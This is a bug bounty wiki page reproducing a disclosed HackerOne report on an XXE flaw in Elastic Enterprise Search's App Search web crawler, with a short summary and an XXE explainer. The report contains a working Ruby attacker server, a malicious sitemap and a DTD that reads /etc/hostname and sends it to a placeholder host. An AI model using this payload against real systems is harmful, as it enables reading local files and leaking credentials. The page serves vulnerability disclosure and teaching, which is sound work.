Skip to content
XXE Disclosed report Intermediate

XXE in Enterprise Search's App Search web crawler

The App Search web crawler parsed sitemap XML without disabling external entities, so a malicious sitemap could make the server read local files and send their contents to an attacker-controlled host. The reporter could only exfiltrate single-line files at the time of writing.

dee-see Follow

Originally disclosed on HackerOne

Critical 9.1 View original
  • Triaged in 5 days
  • Fixed in 21 days
  • Paid in 5 days
  • Disclosed after 21 days

Summary

Hello team! The latest version of Enterprise Search (7.12.0) is vulnerable to XXE when parsing sitemaps. Up to now I'm only able to read file that contain one line. I'm reporting now to avoid duplicates, but I'll keep working to find a way to extract entire files or HTTP request bodies.

Description

Enterprise Search has a Web Crawler that crawls websites and ingests data to make it searchable. The crawler will look for robots.txt files and in that file it will look for the sitemap directive. When the sitemap is present, the crawler will parse it and crawl each pages that's listed there.

The code used to parse the site map is vulnerable to XXE. At the time of reporting I'm limited to exfiltrating only files that contain one line and admittedly this is very limiting, but I'm going to keep looking for ways to bypass this limitation. Once bypassed this has the potential to leak very sensitive data and credentials.

Steps to reproduce

Attacker Server

This is my attacker server, it's a ruby application that requires sinatra (gem install sinatra)

Ruby
require 'sinatra'

set :bind, '0.0.0.0'

get '/robots.txt' do

  'User-agent: *
Disallow:

sitemap: /sitemap.xml
'
end

get '/sitemap.xml' do
  content_type 'application/xml'

  '<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE urlset [
<!ENTITY % dtd SYSTEM "http://YOURDOMAIN.COM/exfil.dtd">
%dtd;
%param1;
%exfil;
]>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" 
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
    <loc>&test;</loc>
    <lastmod>2019-06-19</lastmod>
    <changefreq>daily</changefreq>
</url>
</urlset>'
end

get '/exfil.dtd' do
  content_type 'application/xml-dtd'

  '<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM \'http://YOURDOMAIN.COM/exfil?%data;\'>">'
end

Save that to a file and run it with ruby server.rb.

Enterprise Search

  1. Log in to Enterprise Search
  2. Click Launch App Search
  3. Click Create an Engine, give it any name and click Create Engine
  4. Click Use the Web Crawler
  5. Enter the domain hosting the XXE payload as the Domain URL
  6. Click Start a Crawl and observe your server logs, you should see the hostname of the targetted machine

Running this on an Elastic Cloud instance I got this in my log.

Text
20.55.27.97 - - [08/Apr/2021:04:16:02 UTC] "GET /exfil?d403d12993e0 HTTP/1.1" 404 459

Where d403d12993e0 is the host name of the machine where my instance is running on. I could also reproduce using the on-premise version.

Impact

At the moment I can read a limited number of files. If I can get around the one line limit I'll be able to read credentials and potentially AWS metadata.

The original report as published on HackerOne, by dee-see. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could read limited local files (single-line only at the time) and potentially AWS metadata if the one-line limitation were bypassed.

What the attacker needed

Attacker-controlled web server; ability to create an App Search engine; crawler configured to visit attacker domain

How it was found

  1. Set up an attacker server that serves a robots.txt pointing to a malicious sitemap.
  2. Serve a sitemap XML that references an external DTD and entities.
  3. Log in to Enterprise Search and launch App Search.
  4. Create an engine and open the Web Crawler.
  5. Enter the attacker domain as the Domain URL and start a crawl.
  6. Observe the attacker server logs receiving the target hostname.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

XML files can include special instructions called entities that pull in content from elsewhere. If a parser follows these instructions for external resources, an attacker can make it read files on the server and send them out. Here the crawler trusted a sitemap from an attacker's website and followed such an instruction.

What is XXE?

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.

More by dee-see

View all

9 more disclosed reports, best first.

More from Elastic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.